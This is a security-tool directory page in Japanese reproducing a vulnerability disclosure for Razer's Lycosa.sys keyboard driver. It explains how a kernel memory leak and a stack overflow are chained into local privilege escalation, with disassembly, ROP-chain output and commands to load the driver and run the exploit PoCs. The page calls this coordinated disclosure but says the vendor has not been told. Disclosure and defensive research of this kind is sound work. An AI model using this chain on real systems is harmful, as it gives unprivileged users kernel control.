Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
razer-lycosa-kernel-lpe-BYOVD-Vulnerability-PoC — Razer Lycosa.sys に存在する 2 つのカーネル脆弱性(CWE-125 メモリ情報漏えい + CWE-121 スタックオーバーフロー)を連鎖させたローカル権限昇格。コーディネーテッドディスクロージャ資料、Windows 11 で検証済み。 | Kitploit
ツール/GitHubGitHub/416rehman/razer-lycosa-kernel-lpe-byovd-vulnerability-poc
特権昇格脆弱性分析エクスプロイトリバースエンジニアリングバイナリエクスプロイト
GitHub416rehman/razer-lycosa-kernel-lpe-byovd-vulnerability-poc

razer-lycosa-kernel-lpe-BYOVD-Vulnerability-PoC

Razer Lycosa.sys に存在する 2 つのカーネル脆弱性(CWE-125 メモリ情報漏えい + CWE-121 スタックオーバーフロー)を連鎖させたローカル権限昇格。コーディネーテッドディスクロージャ資料、Windows 11 で検証済み。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト
1178日前未レビュー

Lycosa.sys、Razer: 任意のローカルユーザーから到達可能な2つのカーネル脆弱性

https://github.com/416rehman/DeepZero を通じて発見

ベンダー: Razer Inc. コンポーネント: Lycosa.sys、Razer Lycosa キーボードフィルタドライバ、x64 SHA-256: a120a6184ab16864e8a5f1dfd0cd178fca541de463b5cef946e18c34b9b6f716 報告者参照: a120a6184ab16864 ステータス: ベンダーには未報告。

このディレクトリは、同一ドライバの同一ルーチンにおける2つの異なる欠陥を報告する。それぞれ根本原因も修正も別であるため、各々が自己完結したフォルダを持ち、個別に追跡・識別子の割り当てが可能である:

CVE欠陥種別結果
CVE-01出力長がバッファに対してチェックされていないため、ドライバがカーネルスタックメモリを返すCWE-125 境界外読み取りカーネルメモリの漏洩、アドレス空間配置のランダム化を無効化
CVE-02入力長がバッファに対してチェックされていないため、ドライバが自身のリターンアドレスを上書きするCWE-121 スタックバッファオーバーフロー任意のカーネルコード実行

どちらもログインしてプログラムを実行できる任意のアカウントから到達可能である。管理者権限も、昇格も、特別な特権も不要。どちらも Windows 11 25H2 (ビルド 26200.8875) において、コード整合性を有効、テスト署名を無効にした状態で確認された。

セクション3では、両者を組み合わせた場合に何が可能になるかを述べる。これが両者を同時に報告する理由であり、連鎖した概念実証がこのルートディレクトリに置かれている理由である。


1. 欠陥の所在

両方とも RVA 0x1270 の IRP_MJ_DEVICE_CONTROL ハンドラに存在し、どちらもカーネルスタック上の同一の 0x400 バイトバッファに対して作用する。出荷されたバイナリから読み取ったプロローグが、両者のジオメトリを確定する:

root@kitploit:~
Lycosa+0x1270  48 89 54 24 10           mov   [rsp+10h], rdx   ; Irp
Lycosa+0x1275  48 89 4c 24 08           mov   [rsp+8], rcx     ; DeviceObject
Lycosa+0x127a  48 81 ec 98 04 00 00     sub   rsp, 498h        ; the frame
Lycosa+0x1291  ba 00 04 00 00           mov   edx, 400h        ; the buffer size
Lycosa+0x1296  48 8d 8c 24 80 00 00 00  lea   rcx, [rsp+80h]   ; the buffer

0x498 バイトのフレーム内、rsp+0x80 に 0x400 バイトのバッファがあり、不揮発性レジスタは保存されていない。バッファの先頭から数えると:

root@kitploit:~
0x000 .. 0x3FF   the buffer, which both defects are supposed to stay inside
0x418            the return address of the dispatch routine
0x420            the saved DeviceObject argument
0x428            the saved Irp argument

0x418 は 0x498 - 0x80 である。漏洩 (CVE-01) は 0x3FF を越えて読み取り、見つけたものを返す。オーバーフロー (CVE-02) は 0x3FF を越えて書き込み、それを置き換える。

2. 到達可能性、および誰がこれを実行できるか

DriverEntry はセキュリティ記述子なしでデバイスを作成し、そのシンボリックリンクを公開するため、\\.\Lycosa で到達可能である:

root@kitploit:~
IoCreateDevice(param_1, 0x20, L"\\Device\\Lycosa", 0x22, 0, 0, &device);
IoCreateSymbolicLink(L"\\DosDevices\\Lycosa", L"\\Device\\Lycosa");

影響を受けるすべての制御コードは FILE_DEVICE_UNKNOWN、METHOD_BUFFERED、FILE_ANY_ACCESS としてデコードされる。FILE_ANY_ACCESS はハンドルに対して特定のアクセス権を保持する必要がないことを意味するため、デバイスオブジェクトのセキュリティ記述子が唯一の関門となり、それは全員にアクセスを許可している。

これらの報告におけるすべての結果は、グループメンバーシップが組み込みの Users グループのみである標準ユーザーアカウントから生成された。そのアカウントには管理者権限はなく、昇格もされておらず、デフォルトを超える特権も保持していなかった。

またこのドライバは、Razer ハードウェアが一度も接続されたことのないマシンにもロードされる。パッケージが有効にカタログ署名されているためである。これは bring-your-own-vulnerable-driver 攻撃で使われるパターンである。

3. 2つの欠陥の組み合わせ

別々の欠陥であるため個別に報告するが、トリアージするベンダーは、それぞれが他方を悪化させることを知っておくべきである。

現代の Windows はカーネルをランダム化されたアドレスにロードする。リターンアドレスを上書きできる攻撃者でも、何で上書きするかを知らなければならず、通常はこれが障害となる。このドライバは両方の問いに自ら答えてしまう:

  1. CVE-01 がランダム化を除去する。 漏洩はディスパッチルーチン自身のリターンアドレス、すなわち ntoskrnl.exe 内のコードアドレスを返す。イメージ内での既知のオフセットを引けば、カーネルがロードされているベースが得られ、そこからカーネル内のすべてのアドレスが判明する。これにはコストもかからず、何も乱さない。

  2. CVE-01 はまた、CVE-02 がフォールトしないために必要な値も提供する。 CVE-02 セクション 4.4 で述べられているように、ドライバは戻る途中でオフセット 0x428 から Irp を再ロードし、それを介して書き込む。リターンアドレスに到達する素朴なオーバーフローは、そのポインタも破壊し、ルーチンが戻る前にフォールトする。信頼できるエクスプロイトは代わりにコピーをちょうど 0x428 で止め、現在のリクエストの生きた Irp をそのまま残すため、ドライバは正常に完了する。

  3. そして CVE-02 が実行をリダイレクトする。カーネルベースはすでに判明している。

非特権アカウントから、連鎖した概念実証はフレームを読み取り、カーネルベースとバッファ自身のカーネルアドレスを計算し、return-oriented chain を送信する:

root@kitploit:~
step 1, read what is above the buffer on the kernel stack:
   +0x418 return address  0xFFFFF807D565CABB
   +0x498 frame pointer   0xFFFFFD042D313750  (read twice, must match)

step 2, turn those into the two addresses the payload needs:
   kernel base     = 0xFFFFF807D565CABB - 0x25CABB = 0xFFFFF807D5400000
   buffer on stack = 0xFFFFFD042D313750 - 0x500    = 0xFFFFFD042D313250

step 4, overflow with a chain that:
   pivots the stack onto the buffer, calls nt!ZwCreateFile, and
   resumes nt!IopfCallDriver+0x5b

sending 0x428 bytes
call returned: accepted=true error=0

PROOF: C:\Windows\System32\dz_lycosa_kernel_exec.txt now exists.

これが完全な連鎖であり、エンドツーエンドで検証されている。非特権アカウントが、本来は書き込みアクセスを拒否されるディレクトリ C:\Windows\System32 の下にファイルを作成した。カーネルモードで nt!ZwCreateFile を実行することによって。accepted=true はシステムコールが正常に戻ったことを意味する: 連鎖はドライバが戻ろうとしていた正確なアドレス (nt!IopfCallDriver+0x5b、これは add rsp,0x38 ; ret) を再開するため、スレッドは終了しマシンは動き続ける。作成されたファイルは管理者シェルから独立に確認された。完全なトランスクリプトは logs/exec_create_file.log に、手法は METHODOLOGY.md にある。

実用的な解釈は、この1つのドライバが、メモリ安全性の欠陥をカーネルコード実行に変えるために通常必要とされる両方の半分を、マシンの任意のユーザーに提供するということである: ランダム化を除去するアドレス漏洩と、それを利用する制御フローハイジャック。両者を組み合わせることで、マシンを動かしたまま具体的な特権操作を生み出すことが示された。

4. 修正

2つの修正は独立しており、どちらも小規模で、各報告で完全に述べられている:

  • CVE-01 の修正: OutputBufferLength を制限し、IoStatus.Information を実際に生成された値に設定する。
  • CVE-02 の修正: InputBufferLength を制限する。

両報告はまた、制御デバイスを IoCreateDeviceSecure と、管理者およびシステムに制限する SDDL 文字列で作成することを推奨している。それだけではどちらの欠陥も修正しないが、両者に深刻度を与えている非特権での到達可能性を除去する。

5. 先行事例

重複報告はベンダーの時間を無駄にするため、書き上げる前に確認した:

  • LOLDrivers、660 エントリを、SHA-256、MD5、ファイル名で検索。このドライバのエントリはない。
  • Microsoft vulnerable driver blocklist、https://aka.ms/VulnerableDriverBlockList からダウンロードし、その 1,713 の拒否ルール全体を検索。このファイルは現れない。そのリストにある唯一の Razer ドライバは Rzpnk.sys であり、別のコンポーネントである。
  • このドライバを記述した CVE は見つからなかった。

両欠陥とも未報告であると考えるが、訂正を歓迎する。

同じパッケージディレクトリに含まれる他のいくつかのドライバは、このドライバの全体的な形状を共有しており、別途調査されている。ここにあるものはそれらについての記述ではない。

6. 再現

root@kitploit:~
pnputil /add-driver Flter2K.inf /install
sc create lycosa_test type= kernel binPath= C:\path\to\Lycosa.sys start= demand
sc start lycosa_test

各欠陥はそのフォルダに単一目的の概念実証を持ち、このルートにはそれらを組み合わせた連鎖版がある:

root@kitploit:~
# CVE-01, reads only, safe to run anywhere, quickest confirmation of the report
rustc -O CVE-01-kernel-memory-disclosure/poc/lycosa_disclosure.rs -o disc.exe
disc.exe

# CVE-02, stops the machine by design
rustc -O CVE-02-kernel-stack-overflow/poc/lycosa_overflow.rs -o ovf.exe
ovf.exe --yes-crash-this-machine

# the chain: CVE-01 + CVE-02 into a file created in System32, machine left running
rustc -O poc/lycosa_chain.rs -o chain.exe
chain.exe --exec                              # default target under System32
chain.exe --exec C:\Users\Public\proof.txt    # or any path you choose

すべてを標準ユーザーアカウントから実行すること。連鎖 PoC は依存する2つのドライバ定数 (FRAME と BUF_AT) をソースの先頭に記載しているため、その2つの数値を変更することで別のドライバビルドに向けることができる。その --exec モードが使用するカーネルオフセットは特定の Windows ビルドに固有である; プログラムは実行時に導出されたカーネルベースを確認し、その --calibrate モードはビルド間で変化する唯一の値を報告する。

7. このディレクトリの内容

root@kitploit:~
README.md                              this overview and the chaining analysis
METHODOLOGY.md                         how both were found and confirmed, in order
poc/lycosa_chain.rs                    the CHAINED proof of concept (both defects)
evidence/                              the binary, its package, decompiled sources, dumps
logs/exec_create_file.log              transcript of the chained run in section 3

CVE-01-kernel-memory-disclosure/       standalone disclosure for the out-of-bounds read
  README.md, poc/lycosa_disclosure.rs, evidence/, logs/
CVE-02-kernel-stack-overflow/          standalone disclosure for the stack overflow
  README.md, poc/lycosa_overflow.rs, evidence/, logs/
ツールをダウンロード